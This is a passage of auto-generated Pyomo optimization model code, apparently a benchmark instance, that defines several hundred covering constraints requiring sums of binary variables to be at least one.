= Constraint(expr= m.b312 + m.b317 + m.b321 + m.b325 + m.b331 >= 1) m.c605 = Constraint(expr= m.b312 + m.b317 + m.b321 + m.b324 >= 1) m.c606 = Constraint(expr= m.b312 + m.b317 + m.b320 + m.b331 >= 1) m.c607 = Constraint(expr= m.b312 + m.b317 + m.b320 + m.b326 >= 1) m.c608 = Constraint(expr= m.b312 + m.b317 + m.b319 >= 1) m.c609 = Constraint(expr= m.b312 + m.b316 + m.b328 >= 1) m.c610 = Constraint(expr= m.b312 + m.b316 + m.b326 + m.b329 >= 1) m.c611 = Constraint(expr= m.b312 + m.b316 + m.b325 + m.b330 >= 1) m.c612 = Constraint(expr= m.b312 + m.b316 + m.b324 + m.b331 >= 1) m.c613 = Constraint(expr= m.b312 + m.b316 + m.b323 >= 1) m.c614 = Constraint(expr= m.b312 + m.b316 + m.b321 + m.b330 >= 1) m.c615 = Constraint(expr= m.b312 + m.b316 + m.b321 + m.b326 + m.b331 >= 1) m.c616 = Constraint(expr= m.b312 + m.b316 + m.b321 + m.b325 >= 1) m.c617 = Constraint(expr= m.b312 + m.b316 + m.b320 >= 1) m.c618 = Constraint(expr= m.b312 + m.b315 + m.b329 >= 1) m.c619 = Constraint(expr= m.b312 + m.b315 + m.b326 + m.b330 >= 1) m.c620 = Constraint(expr= m.b312 + m.b315 + m.b325 + m.b331 >= 1) m.c621 = Constraint(expr= m.b312 + m.b315 + m.b324 >= 1) m.c622 = Constraint(expr= m.b312 + m.b315 + m.b321 + m.b331 >= 1) m.c623 = Constraint(expr= m.b312 + m.b315 + m.b321 + m.b326 >= 1) m.c624 = Constraint(expr= m.b312 + m.b315 + m.b320 >= 1) m.c625 = Constraint(expr= m.b312 + m.b314 + m.b330 >= 1) m.c626 = Constraint(expr= m.b312 + m.b314 + m.b326 + m.b331 >= 1) m.c627 = Constraint(expr= m.b312 + m.b314 + m.b325 >= 1) m.c628 = Constraint(expr= m.b312 + m.b314 + m.b321 >= 1) m.c629 = Constraint(expr= m.b311 + m.b327 >= 1) m.c630 = Constraint(expr= m.b311 + m.b325 + m.b328 >= 1) m.c631 = Constraint(expr= m.b311 + m.b324 + m.b329 >= 1) m.c632 = Constraint(expr= m.b311 + m.b323 + m.b330 >= 1) m.c633 = Constraint(expr= m.b311 + m.b322 >= 1) m.c634 = Constraint(expr= m.b311 + m.b321 + m.b328 >= 1) m.c635 = Constraint(expr= m.b311 + m.b321 + m.b326 + m.b329 >= 1) m.c636 = Constraint(expr= m.b311 + m.b321 + m.b325 + m.b330 >= 1) m.c637 = Constraint(expr= m.b311 + m.b321 + m.b324 + m.b331 >= 1) m.c638 = Constraint(expr= m.b311 + m.b321 + m.b323 >= 1) m.c639 = Constraint(expr= m.b311 + m.b320 + m.b330 >= 1) m.c640 = Constraint(expr= m.b311 + m.b320 + m.b326 + m.b331 >= 1) m.c641 = Constraint(expr= m.b311 + m.b320 + m.b325 >= 1) m.c642 = Constraint(expr= m.b311 + m.b319 >= 1) m.c643 = Constraint(expr= m.b311 + m.b318 + m.b327 >= 1) m.c644 = Constraint(expr= m.b311 + m.b318 + m.b326 + m.b328 >= 1) m.c645 = Constraint(expr= m.b311 + m.b318 + m.b325 + m.b329 >= 1) m.c646 = Constraint(expr= m.b311 + m.b318 + m.b324 + m.b330 >= 1) m.c647 = Constraint(expr= m.b311 + m.b318 + m.b323 + m.b331 >= 1) m.c648 = Constraint(expr= m.b311 + m.b318 + m.b322 >= 1) m.c649 = Constraint(expr= m.b311 + m.b318 + m.b321 + m.b329 >= 1) m.c650 = Constraint(expr= m.b311 + m.b318 + m.b321 + m.b326 + m.b330 >= 1) m.c651 = Constraint(expr= m.b311 + m.b318 + m.b321 + m.b325 + m.b331 >= 1) m.c652 = Constraint(expr= m.b311 + m.b318 + m.b321 + m.b324 >= 1) m.c653 = Constraint(expr= m.b311 + m.b318 + m.b320 + m.b331 >= 1) m.c654 = Constraint(expr= m.b311 + m.b318 + m.b320 + m.b326 >= 1) m.c655 = Constraint(expr= m.b311 + m.b318 + m.b319 >= 1) m.c656 = Constraint(expr= m.b311 + m.b317 + m.b328 >= 1) m.c657 = Constraint(expr= m.b311 + m.b317 + m.b326 + m.b329 >= 1) m.c658 = Constraint(expr= m.b311 + m.b317 + m.b325 + m.b330 >= 1) m.c659 = Constraint(expr= m.b311 + m.b317 + m.b324 + m.b331 >= 1) m.c660 = Constraint(expr= m.b311 + m.b317 + m.b323 >= 1) m.c661 = Constraint(expr= m.b311 + m.b317 + m.b321 + m.b330 >= 1) m.c662 = Constraint(expr= m.b311 + m.b317 + m.b321 + m.b326 + m.b331 >= 1) m.c663 = Constraint(expr= m.b311 + m.b317 + m.b321 + m.b325 >= 1) m.c664 = Constraint(expr= m.b311 + m.b317 + m.b320 >= 1) m.c665 = Constraint(expr= m.b311 + m.b316 + m.b329 >= 1) m.c666 = Constraint(expr= m.b311 + m.b316 + m.b326 + m.b330 >= 1) m.c667 = Constraint(expr= m.b311 + m.b316 + m.b325 + m.b331 >= 1) m.c668 = Constraint(expr= m.b311 + m.b316 + m.b324 >= 1) m.c669 = Constraint(expr= m.b311 + m.b316 + m.b321 + m.b331 >= 1) m.c670 = Constraint(expr= m.b311 + m.b316 + m.b321 + m.b326 >= 1) m.c671 = Constraint(expr= m.b311 + m.b316 + m.b320 >= 1) m.c672 = Constraint(expr= m.b311 + m.b315 + m.b329 >= 1) m.c673 = Constraint(expr= m.b311 + m.b315 + m.b326 + m.b331 >= 1) m.c674 = Constraint(expr= m.b311 + m.b315 + m.b325 >= 1) m.c675 = Constraint(expr= m.b311 + m.b315 + m.b321 >= 1) m.c676 = Constraint(expr= m.b311 + m.b314 + m.b330 >= 1) m.c677 = Constraint(expr= m.b311 + m.b314 + m.b326 + m.b331 >= 1) m.c678 = Constraint(expr= m.b311 + m.b314 + m.b325 >= 1) m.c679 = Constraint(expr= m.b311 + m.b314 + m.b321 >= 1) m.c680 = Constraint(expr= m.b310 + m.b327 >= 1) m.c681 = Constraint(expr= m.b310 + m.b326 + m.b328 >= 1) m.c682 = Constraint(expr= m.b310 + m.b325 + m.b329 >= 1) m.c683 = Constraint(expr= m.b310 + m.b324 + m.b330 >= 1) m.c684 = Constraint(expr= m.b310 + m.b323 + m.b331 >= 1) m.c685 = Constraint(expr= m.b310 + m.b322 >= 1) m.c686 = Constraint(expr= m.b310 + m.b321 + m.b329 >= 1) m.c687 = Constraint(expr= m.b310 + m.b321 + m.b326 + m.b330 >= 1) m.c688 = Constraint(expr= m.b310 + m.b321 + m.b325 + m.b331 >= 1) m.c689 = Constraint(expr= m.b310 + m.b321 + m.b324 >= 1) m.c690 = Constraint(expr= m.b310 + m.b320 + m.b331 >= 1) m.c691 = Constraint(expr= m.b310 + m.b320 + m.b326 >= 1) m.c692 = Constraint(expr= m.b310 + m.b319 >= 1) m.c693 = Constraint(expr= m.b310 + m.b318 + m.b328 >= 1) m.c694 = Constraint(expr= m.b310 + m.b318 + m.b326 + m.b329 >= 1) m.c695 = Constraint(expr= m.b310 + m.b318 + m.b325 + m.b330 >= 1) m.c696 = Constraint(expr= m.b310 + m.b318 + m.b324 + m.b331 >= 1) m.c697 = Constraint(expr= m.b310 + m.b318 + m.b323 >= 1) m.c698 = Constraint(expr= m.b310 + m.b318 + m.b321 + m.b330 >= 1) m.c699 = Constraint(expr= m.b310 + m.b318 + m.b321 + m.b326 + m.b331 >= 1) m.c700 = Constraint(expr= m.b310 + m.b318 + m.b321 + m.b325 >= 1) m.c701 = Constraint(expr= m.b310 + m.b318 + m.b320 >= 1) m.c702 = Constraint(expr= m.b310 + m.b317 + m.b329 >= 1) m.c703 = Constraint(expr= m.b310 + m.b317 + m.b326 + m.b330 >= 1) m.c704 = Constraint(expr= m.b310 + m.b317 + m.b325 + m.b331 >= 1) m.c705 = Constraint(expr= m.b310 + m.b317 + m.b324 >= 1) m.c706 = Constraint(expr= m.b310 + m.b317 + m.b321 + m.b331 >= 1) m.c707 = Constraint(expr= m.b310 + m.b317 + m.b321 + m.b326 >= 1) m.c708 = Constraint(expr= m.b310 + m.b317 + m.b320 >= 1) m.c709 = Constraint(expr= m.b310 + m.b316 + m.b329 >= 1) m.c710 = Constraint(expr= m.b310 + m.b316 + m.b326 + m.b330 >= 1) m.c711 = Constraint(expr= m.b310 + m.b316 + m.b325 + m.b331 >= 1) m.c712 = Constraint(expr= m.b310 + m.b316 + m.b324 >= 1) m.c713 = Constraint(expr= m.b310 + m.b316 + m.b321 + m.b331 >= 1) m.c714 = Constraint(expr= m.b310 + m.b316 + m.b321 + m.b326 >= 1) m.c715 = Constraint(expr= m.b310 + m.b316 + m.b320 >= 1) m.c716 = Constraint(expr= m.b310 + m.b315 + m.b330 >= 1) m.c717 = Constraint(expr= m.b310 + m.b315 + m.b326 + m.b331 >= 1) m.c718 = Constraint(expr= m.b310 + m.b315 + m.b325 >= 1) m.c719 = Constraint(expr= m.b310 + m.b315 + m.b321 >= 1) m.c720 = Constraint(expr= m.b310 + m.b314 + m.b331 >= 1) m.c721 = Constraint(expr= m.b310 + m.b314 + m.b326 >= 1) m.c722 = Constraint(expr= m.b310 + m.b314 + m.b321 >= 1) m.c723 = Constraint(expr= m.b309 + m.b328 >= 1) m.c724 = Constraint(expr= m.b309 + m.b326 + m.b329 >= 1) m.c725 = Constraint(expr= m.b309 + m.b325 + m.b330 >= 1) m.c726 = Constraint(expr= m.b309 + m.b324 + m.b331 >= 1) m.c727 = Constraint(expr= m.b309 + m.b323 >= 1) m.c728 = Constraint(expr= m.b309 + m.b321 + m.b330 >= 1) m.c729 = Constraint(expr= m.b309 + m.b321 + m.b326 + m.b331 >= 1) m.c730 = Constraint(expr= m.b309 + m.b321 + m.b325 >= 1) m.c731 = Constraint(expr= m.b309 + m.b320 >= 1) m.c732 = Constraint(expr= m.b309 + m.b318 + m.b329 >= 1) m.c733 = Constraint(expr= m.b309 + m.b318 + m.b326 + m.b330 >= 1) m.c734 = Constraint(expr= m.b309 + m.b318 + m.b325 + m.b331 >= 1) m.c735 = Constraint(expr= m.b309 + m.b318 + m.b324 >= 1) m.c736 = Constraint(expr= m.b309 + m.b318 + m.b321 + m.b331 >= 1) m.c737 = Constraint(expr= m.b309 + m.b318 + m.b321 + m.b326 >= 1) m.c738 = Constraint(expr= m.b309 + m.b318 + m.b320 >= 1) m.c739 = Constraint(expr= m.b309 + m.b317 + m.b329 >= 1) m.c740 = Constraint(expr= m.b309 + m.b317 + m.b326 + m.b330 >= 1) m.c741 = Constraint(expr= m.b309 + m.b317 + m.b325 >= 1) m.c742 = Constraint(expr= m.b309 + m.b317 + m.b321 + m.b331 >= 1) m.c743 = Constraint(expr= m.b309 + m.b317 + m.b321 + m.b326 >= 1) m.c744 = Constraint(expr= m.b309 + m.b317 + m.b320 >= 1) m.c745 = Constraint(expr= m.b309 + m.b316 + m.b330 >= 1) m.c746 = Constraint(expr= m.b309 + m.b316 + m.b326 + m.b331 >= 1) m.c747 = Constraint(expr= m.b309 + m.b316 + m.b325 >= 1) m.c748 = Constraint(expr= m.b309 + m.b316 + m.b321 >= 1) m.c749 = Constraint(expr= m.b309 + m.b315 + m.b331 >= 1) m.c750 = Constraint(expr= m.b309 + m.b315 + m.b326 >= 1) m.c751 = Constraint(expr= m.b309 + m.b315 + m.b321 >= 1) m.c752 = Constraint(expr= m.b308 + m.b329 >= 1) m.c753 = Constraint(expr= m.b308 + m.b326 + m.b330 >= 1) m.c754 = Constraint(expr= m.b308 + m.b325 + m.b331 >= 1) m.c755 = Constraint(expr= m.b308 + m.b324 >= 1) m.c756 = Constraint(expr= m.b308 + m.b321 + m.b331 >= 1) m.c757 = Constraint(expr= m.b308 + m.b321 + m.b326 >= 1) m.c758 = Constraint(expr= m.b308 + m.b320 >= 1) m.c759 = Constraint(expr= m.b308 + m.b318 + m.b329 >= 1) m.c760 = Constraint(expr= m.b308 + m.b318 + m.b326 + m.b331 >= 1) m.c761 = Constraint(expr= m.b308 + m.b318 + m.b325 >= 1) m.c762 = Constraint(expr= m.b308 + m.b318 + m.b321 >= 1) m.c763 = Constraint(expr= m.b308 + m.b317 + m.b330 >= 1) m.c764 = Constraint(expr= m.b308 + m.b317 + m.b326 + m.b331 >= 1) m.c765 = Constraint(expr= m.b308 + m.b317 + m.b325 >= 1) m.c766 = Constraint(expr= m.b308 + m.b317 + m.b321 >= 1) m.c767 = Constraint(expr= m.b308 + m.b316 + m.b331 >= 1) m.c768 = Constraint(expr= m.b308 + m.b316 + m.b326 >= 1) m.c769 = Constraint(expr= m.b308 + m.b316 + m.b321 >= 1) m.c770 = Constraint(expr= m.b307 + m.b331 >= 1) m.c771 = Constraint(expr= m.b307 + m.b326 >= 1) m.c772 = Constraint(expr= m.b307 + m.b321 >= 1) m.c773 = Constraint(expr= m.b306 + m.b327 >= 1) m.c774 = Constraint(expr= m.b306 + m.b325 + m.b328 >= 1) m.c775 = Constraint(expr= m.b306 + m.b324 + m.b329 >= 1) m.c776 = Constraint(expr= m.b306 + m.b323 + m.b330 >= 1) m.c777 = Constraint(expr= m.b306 + m.b322 >= 1) m.c778 = Constraint(expr= m.b306 + m.b321 + m.b328 >= 1) m.c779 = Constraint(expr= m.b306 + m.b321 + m.b326 + m.b329 >= 1) m.c780 = Constraint(expr= m.b306 + m.b321 + m.b325 + m.b330 >= 1) m.c781 = Constraint(expr= m.b306 + m.b321 + m.b324 + m.b331 >= 1) m.c782 = Constraint(expr= m.b306 + m.b321 + m.b323 >= 1) m.c783 = Constraint(expr= m.b306 + m.b320 + m.b330 >= 1) m.c784 = Constraint(expr= m.b306 + m.b320 + m.b326 + m.b331 >= 1) m.c785 = Constraint(expr= m.b306 + m.b320 + m.b325 >= 1) m.c786 = Constraint(expr= m.b306 + m.b319 >= 1) m.c787 = Constraint(expr= m.b306 + m.b318 + m.b327 >= 1) m.c788 = Constraint(expr= m.b306 + m.b318 + m.b326 + m.b328 >= 1) m.c789 = Constraint(expr= m.b306 + m.b318 + m.b325 + m.b329 >= 1) m.c790 = Constraint(expr= m.b306 + m.b318 + m.b324 + m.b330 >= 1) m.c791 = Constraint(expr= m.b306 + m.b318 + m.b323 + m.b331 >= 1) m.c792 = Constraint(expr= m.b306 + m.b318 + m.b322 >= 1) m.c793 = Constraint(expr= m.b306 + m.b318 + m.b321 + m.b329 >= 1) m.c794 = Constraint(expr= m.b306 + m.b318 + m.b321 + m.b326 + m.b330 >= 1) m.c795 = Constraint(expr= m.b306 + m.b318 + m.b321 + m.b325 + m.b331 >= 1) m.c796 = Constraint(expr= m.b306 + m.b318 + m.b321 + m.b324 >= 1) m.c797 = Constraint(expr= m.b306 + m.b318 + m.b320 + m.b331 >= 1) m.c798 = Constraint(expr= m.b306 + m.b318 + m.b320 + m.b326 >= 1) m.c799 = Constraint(expr= m.b306 + m.b318 + m.b319 >= 1) m.c800 = Constraint(expr= m.b306 + m.b317 + m.b328 >= 1) m.c801 = Constraint(expr= m.b306 + m.b317 + m.b325 + m.b329 >= 1) m.c802 = Constraint(expr= m.b306 + m.b317 + m.b324 + m.b331 >= 1) m.c803 = Constraint(expr= m.b306 + m.b317 + m.b323 >= 1) m.c804 = Constraint(expr= m.b306 + m.b317 + m.b321 + m.b329 >= 1) m.c805 = Constraint(expr= m.b306 + m.b317 + m.b321 + m.b326 + m.b330 >= 1) m.c806 = Constraint(expr= m.b306 + m.b317 + m.b321 + m.b325 + m.b331 >= 1) m.c807 = Constraint(expr= m.b306 + m.b317 + m.b321 + m.b324 >= 1) m.c808 = Constraint(expr= m.b306 + m.b317 + m.b320 + m.b331 >= 1) m.c809 = Constraint(expr= m.b306 + m.b317 + m.b320 + m.b326 >= 1) m.c810 = Constraint(expr= m.b306 + m.b317 + m.b319 >= 1) m.c811 = Constraint(expr= m.b306 + m.b316 + m.b328 >= 1) m.c812 = Constraint(expr= m.b306 + m.b316 + m.b326 + m.b329 >= 1) m.c813 = Constraint(expr= m.b306 + m.b316 + m.b325 + m.b330 >= 1) m.c814 = Constraint(expr= m.b306 + m.b316 + m.b324 + m.b331 >= 1) m.c815 = Constraint(expr= m.b306 + m.b316 + m.b323 >= 1) m.c816 = Constraint(expr= m.b306 + m.b316 + m.b321 + m.b330 >= 1) m.c817 = Constraint(expr= m.b306 + m.b316 + m.b321 + m.b326 + m.b331 >= 1) m.c818 = Constraint(expr= m.b306 + m.b316 + m.b321 + m.b325 >= 1) m.c819 = Constraint(expr= m.b306 + m.b316 + m.b320 >= 1) m.c820 = Constraint(expr= m.b306 + m.b315 + m.b329 >= 1) m.c821 = Constraint(expr= m.b306 + m.b315 + m.b326 + m.b330 >= 1) m.c822 = Constraint(expr= m.b306 + m.b315 + m.b325 + m.b331 >= 1) m.c823 = Constraint(expr= m.b306 + m.b315 + m.b324 >= 1) m.c824 = Constraint(expr= m.b306 + m.b315 + m.b321 + m.b331 >= 1) m.c825 = Constraint(expr= m.b306 + m.b315 + m.b321 + m.b326 >= 1) m.c826 = Constraint(expr= m.b306 + m.b315 + m.b320 >= 1) m.c827 = Constraint(expr= m.b306 + m.b314 + m.b330 >= 1) m.c828 = Constraint(expr= m.b306 + m.b314 + m.b326 + m.b331 >= 1) m.c829 = Constraint(expr= m.b306 + m.b314 + m.b325 >= 1) m.c830 = Constraint(expr= m.b306 + m.b314 + m.b321 >= 1) m.c831 = Constraint(expr= m.b306 + m.b312 + m.b327 >= 1) m.c832 = Constraint(expr= m.b306 + m.b312 + m.b326 + m.b328 >= 1) m.c833 = Constraint(expr= m.b306 + m.b312 + m.b325 + m.b329 >= 1) m.c834 = Constraint(expr= m.b306 + m.b312 + m.b324 + m.b330 >= 1) m.c835 = Constraint(expr= m.b306 + m.b312 + m.b323 + m.b331 >= 1) m.c836 = Constraint(expr= m.b306 + m.b312 + m.b322 >= 1) m.c837 = Constraint(expr= m.b306 + m.b312 + m.b321 + m.b329 >= 1) m.c838 = Constraint(expr= m.b306 + m.b312 + m.b321 + m.b326 + m.b330 >= 1) m.c839 = Constraint(expr= m.b306 + m.b312 + m.b321 + m.b325 + m.b331 >= 1) m.c840 = Constraint(expr= m.b306 + m.b312 + m.b321 + m.b324 >= 1) m.c841 = Constraint(expr= m.b306 + m.b312 + m.b320 + m.b331 >= 1) m.c842 = Constraint(expr= m.b306 + m.b312 + m.b320 + m.b326 >= 1) m.c843 = Constraint(expr= m.b306 + m.b312 + m.b319 >= 1) m.c844 = Constraint(expr= m.b306 + m.b312 + m.b318 + m.b328 >= 1) m.c845 = Constraint(expr= m.b306 + m.b312 + m.b318 + m.b326 + m.b329 >= 1) m.c846 = Constraint(expr= m.b306 + m.b312 + m.b318 + m.b325 + m.b330 >= 1) m.c847 = Constraint(expr= m.b306 + m.b312 + m.b318 + m.b324 + m.b331 >= 1) m.c848 = Constraint(expr= m.b306 + m.b312 + m.b318 + m.b323 >= 1) m.c849 = Constraint(expr= m.b306 + m.b312 + m.b318 + m.b321 + m.b330 >= 1) m.c850 = Constraint(expr= m.b306 + m.b312 + m.b318 + m.b321 + m.b326 + m.b331 >= 1) m.c851 = Constraint(expr= m.b306 + m.b312 + m.b318 + m.b321 + m.b325 >= 1) m.c852 = Constraint(expr= m.b306 + m.b312 + m.b318 + m.b320 >= 1) m.c853 = Constraint(expr= m.b306 + m.b312 + m.b317 + m.b328 >= 1) m.c854 = Constraint(expr= m.b306 + m.b312 + m.b317 + m.b326 + m.b329 >= 1) m.c855 = Constraint(expr= m.b306 + m.b312 + m.b317 + m.b325 + m.b330 >= 1) m.c856 = Constraint(expr= m.b306 + m.b312 + m.b317 + m.b324 + m.b331 >= 1) m.c857 = Constraint(expr= m.b306 + m.b312 + m.b317 + m.b323 >= 1) m.c858 = Constraint(expr= m.b306 + m.b312 + m.b317 + m.b321 + m.b330 >= 1) m.c859 = Constraint(expr= m.b306 + m.b312 + m.b317 + m.b321 + m.b326 + m.b331 >= 1) m.c860 = Constraint(expr= m.b306 + m.b312 + m.b317 + m.b321 + m.b325 >= 1) m.c861 = Constraint(expr= m.b306 + m.b312 + m.b317 + m.b320 >= 1) m.c862 = Constraint(expr= m.b306 + m.b312 + m.b316 + m.b329 >= 1) m.c863 = Constraint(expr= m.b306 + m.b312 + m.b316 + m.b326 + m.b330 >= 1) m.c864 = Constraint(expr= m.b306 + m.b312 + m.b316 + m.b325 + m.b331 >= 1) m.c865 = Constraint(expr= m.b306 + m.b312 + m.b316 + m.b324 >= 1) m.c866 = Constraint(expr= m.b306 + m.b312 + m.b316 + m.b321 + m.b331 >= 1) m.c867 = Constraint(expr= m.b306 + m.b312 + m.b316 + m.b321 + m.b326 >= 1) m.c868 = Constraint(expr= m.b306 + m.b312 + m.b316 + m.b320 >= 1) m.c869 = Constraint(expr= m.b306 + m.b312 + m.b315 + m.b330 >= 1) m.c870 = Constraint(expr= m.b306 + m.b312 + m.b315 + m.b326 + m.b331 >= 1) m.c871 = Constraint(expr= m.b306 + m.b312 + m.b315 + m.b325 >= 1) m.c872 = Constraint(expr= m.b306 + m.b312 + m.b315 + m.b321 >= 1) m.c873 = Constraint(expr= m.b306 + m.b312 + m.b314 + m.b331 >= 1) m.c874 = Constraint(expr= m.b306 + m.b312 + m.b314 + m.b326 >= 1) m.c875 = Constraint(expr= m.b306 + m.b312 + m.b314 + m.b321 >= 1) m.c876 = Constraint(expr= m.b306 + m.b311 + m.b327 >= 1) m.c877 = Constraint(expr= m.b306 + m.b311 + m.b326 + m.b328 >= 1) m.c878 = Constraint(expr= m.b306 + m.b311 + m.b325 + m.b329 >= 1) m.c879 = Constraint(expr= m.b306 + m.b311 + m.b324 + m.b331 >= 1) m.c880 = Constraint(expr= m.b306 + m.b311 + m.b323 >= 1) m.c881 = Constraint(expr= m.b306 + m.b311 + m.b321 + m.b329 >= 1) m.c882 = Constraint(expr= m.b306 + m.b311 + m.b321 + m.b326 + m.b330 >= 1) m.c883 = Constraint(expr= m.b306 + m.b311 + m.b321 + m.b325 + m.b331 >= 1) m.c884 = Constraint(expr= m.b306 + m.b311 + m.b321 + m.b324 >= 1) m.c885 = Constraint(expr= m.b306 + m.b311 + m.b320 >= 1) m.c886 = Constraint(expr= m.b306 + m.b311 + m.b318 + m.b328 >= 1) m.c887 = Constraint(expr= m.b306 + m.b311 + m.b318 + m.b326 + m.b329 >= 1) m.c888 = Constraint(expr= m.b306 + m.b311 + m.b318 + m.b325 + m.b330 >= 1) m.c889 = Constraint(expr= m.b306 + m.b311 + m.b318 + m.b324 + m.b331 >= 1) m.c890 = Constraint(expr= m.b306 + m.b311 + m.b318 + m.b323 >= 1) m.c891 = Constraint(expr= m.b306 + m.b311 + m.b318 + m.b321 + m.b330 >= 1) m.c892 = Constraint(expr= m.b306 + m.b311 + m.b318 + m.b321 + m.b326 + m.b331 >= 1) m.c893 = Constraint(expr= m.b306 + m.b311 + m.b318 + m.b321 + m.b325 >= 1) m.c894 = Constraint(expr= m.b306 + m.b311 + m.b318 + m.b320 >= 1) m.c895 = Constraint(expr= m.b306 + m.b311 + m.b317 + m.b329 >= 1) m.c896 = Constraint(expr= m.b306 + m.b311 + m.b317 + m.b326 + m.b330 >= 1) m.c897 = Constraint(expr= m.b306 + m.b311 + m.b317 + m.b325 + m.b331 >= 1) m.c898 = Constraint(expr= m.b306 + m.b311 + m.b317 + m.b324 >= 1) m.c899 = Constraint(expr= m.b306 + m.b311 + m.b317 + m.b321 + m.b331 >= 1) m.c900 = Constraint(expr= m.b306 + m.b311 + m.b317 + m.b321 + m.b326 >= 1) m.c901 = Constraint(expr= m.b306 + m.b311 + m.b317 + m.b320 >= 1) m.c902 = Constraint(expr= m.b306 + m.b311 + m.b316 + m.b330 >= 1) m.c903 = Constraint(expr= m.b306 + m.b311 + m.b316 + m.b326 + m.b331 >= 1) m.c904 = Constraint(expr= m.b306 + m.b311 + m.b316 + m.b325 >= 1) m.c905 = Constraint(expr= m.b306 + m.b311 + m.b316 + m.b321 >= 1) m.c906 = Constraint(expr= m.b306 + m.b311 + m.b315 + m.b331 >= 1) m.c907 = Constraint(expr= m.b306 + m.b311 + m.b315 + m.b326 >= 1) m.c908 = Constraint(expr= m.b306 + m.b311 + m.b315 + m.b321 >= 1) m.c909 = Constraint(expr= m.b306 + m.b310 + m.b328 >= 1) m.c910 = Constraint(expr= m.b306 + m.b310 + m.b326 + m.b329 >= 1) m.c911 = Constraint(expr= m.b306 + m.b310 + m.b325 + m.b330 >= 1) m.c912 = Constraint(expr= m.b306 + m.b310 + m.b324 + m.b331 >= 1) m.c913 = Constraint(expr= m.b306 + m.b310 + m.b323 >= 1) m.c914 = Constraint(expr= m.b306 + m.b310 + m.b321 + m.b330 >= 1) m.c915 = Constraint(expr= m.b306 + m.b310 + m.b321 + m.b326 + m.b331 >= 1) m.c916 = Constraint(expr= m.b306 + m.b310 + m.b321 + m.b325 >= 1) m.c917 = Constraint(expr= m.b306 + m.b310 + m.b320 >= 1) m.c918 = Constraint(expr= m.b306 + m.b310 + m.b318 + m.b329 >= 1) m.c919 = Constraint(expr= m.b306 + m.b310 + m.b318 + m.b326 + m.b330 >= 1) m.c920 = Constraint(expr= m.b306 + m.b310 + m.b318 + m.b325 + m.b331 >= 1) m.c921 = Constraint(expr= m.b306 + m.b310 + m.b318 + m.b324 >= 1) m.c922 = Constraint(expr= m.b306 + m.b310 + m.b318 + m.b321 + m.b331 >= 1) m.c923 = Constraint(expr= m.b306 + m.b310 + m.b318 + m.b321 + m.b326 >= 1) m.c924 = Constraint(expr= m.b306 + m.b310 + m.b318 + m.b320 >= 1) m.c925 = Constraint(expr= m.b306 + m.b310 + m.b317 + m.b330 >= 1) m.c926 = Constraint(expr= m.b306 + m.b310 + m.b317 + m.b326 + m.b331 >= 1) m.c927 = Constraint(expr= m.b306 + m.b310 + m.b317 + m.b325 >= 1) m.c928 = Constraint(expr= m.b306 + m.b310 + m.b317 + m.b321 >= 1) m.c929 = Constraint(expr= m.b306 + m.b310 + m.b316 + m.b331 >= 1) m.c930 = Constraint(expr= m.b306 + m.b310 + m.b316 + m.b326 >= 1) m.c931 = Constraint(expr= m.b306 + m.b310 + m.b316 + m.b321 >= 1) m.c932 = Constraint(expr= m.b306 + m.b310 + m.b315 + m.b331 >= 1) m.c933 = Constraint(expr= m.b306 + m.b310 + m.b315 + m.b326 >= 1) m.c934 = Constraint(expr= m.b306 + m.b310 + m.b315 + m.b321 >= 1) m.c935 = Constraint(expr= m.b306 + m.b309 + m.b329 >= 1) m.c936 = Constraint(expr= m.b306 + m.b309 + m.b326 + m.b330 >= 1) m.c937 = Constraint(expr= m.b306 + m.b309 + m.b325 + m.b331 >= 1) m.c938 = Constraint(expr= m.b306 + m.b309 + m.b324 >= 1) m.c939 = Constraint(expr= m.b306 + m.b309 + m.b321 + m.b331 >= 1) m.c940 = Constraint(expr= m.b306 + m.b309 + m.b321 + m.b326 >= 1) m.c941 = Constraint(expr= m.b306 + m.b309 + m.b320 >= 1) m.c942 = Constraint(expr= m.b306 + m.b309 + m.b318 + m.b330 >= 1) m.c943 = Constraint(expr= m.b306 + m.b309 + m.b318 + m.b326 + m.b331 >= 1) m.c944 = Constraint(expr= m.b306 + m.b309 + m.b318 + m.b325 >= 1) m.c945 = Constraint(expr= m.b306 + m.b309 + m.b318 + m.b321 >= 1) m.c946 = Constraint(expr= m.b306 + m.b309 + m.b317 + m.b331 >= 1) m.c947 = Constraint(expr= m.b306 + m.b309 + m.b317 + m.b326 >= 1) m.c948 = Constraint(expr= m.b306 + m.b309 + m.b317 + m.b321 >= 1) m.c949 = Constraint(expr= m.b306 + m.b308 + m.b330 >= 1) m.c950 = Constraint(expr= m.b306 + m.b308 + m.b326 + m.b331 >= 1) m.c951 = Constraint(expr= m.b306 + m.b308 + m.b325 >= 1) m.c952 = Constraint(expr= m.b306 + m.b308 + m.b321 >= 1) m.c953 = Constraint(expr= m.b306 + m.b308 + m.b318 + m.b331 >= 1) m.c954 = Constraint(expr= m.b306 + m.b308 + m.b318 + m.b326 >= 1) m.c955 = Constraint(expr= m.b306 + m.b308 + m.b318 + m.b321 >= 1) m.c956 = Constraint(expr= m.b305 + m.b327 >= 1) m.c957 = Constraint(expr= m.b305 + m.b326 + m.b328 >= 1) m.c958 = Constraint(expr= m.b305 + m.b325 + m.b329 >= 1) m.c959 = Constraint(expr= m.b305 + m.b324 + m.b330 >= 1) m.c960 = Constraint(expr= m.b305 + m.b323 + m.b331 >= 1) m.c961 = Constraint(expr= m.b305 + m.b322 >= 1) m.c962 = Constraint(expr= m.b305 + m.b321 + m.b329 >= 1) m.c963 = Constraint(expr= m.b305 + m.b321 + m.b326 + m.b330 >= 1) m.c964 = Constraint(expr= m.b305 + m.b321 + m.b325 + m.b331 >= 1) m.c965 = Constraint(expr= m.b305 + m.b321 + m.b324 >= 1) m.c966 = Constraint(expr= m.b305 + m.b320 + m.b331 >= 1) m.c967 = Constraint(expr= m.b305 + m.b320 + m.b326 >= 1) m.c968 = Constraint(expr= m.b305 + m.b319 >= 1) m.c969 = Constraint(expr= m.b305 + m.b318 + m.b328 >= 1) m.c970 = Constraint(expr= m.b305 + m.b318 + m.b326 + m.b329 >= 1) m.c971 = Constraint(expr= m.b305 + m.b318 + m.b325 + m.b330 >= 1) m.c972 = Constraint(expr= m.b305 + m.b318 + m.b324 + m.b331 >= 1) m.c973 = Constraint(expr= m.b305 + m.b318 + m.b323 >= 1) m.c974 = Constraint(expr= m.b305 + m.b318 + m.b321 + m.b330 >= 1) m.c975 = Constraint(expr= m.b305 + m.b318 + m.b321 + m.b326 + m.b331 >= 1) m.c976 = Constraint(expr= m.b305 + m.b318 + m.b321 + m.b325 >= 1) m.c977 = Constraint(expr= m.b305 + m.b318 + m.b320 >= 1) m.c978 = Constraint(expr= m.b305 + 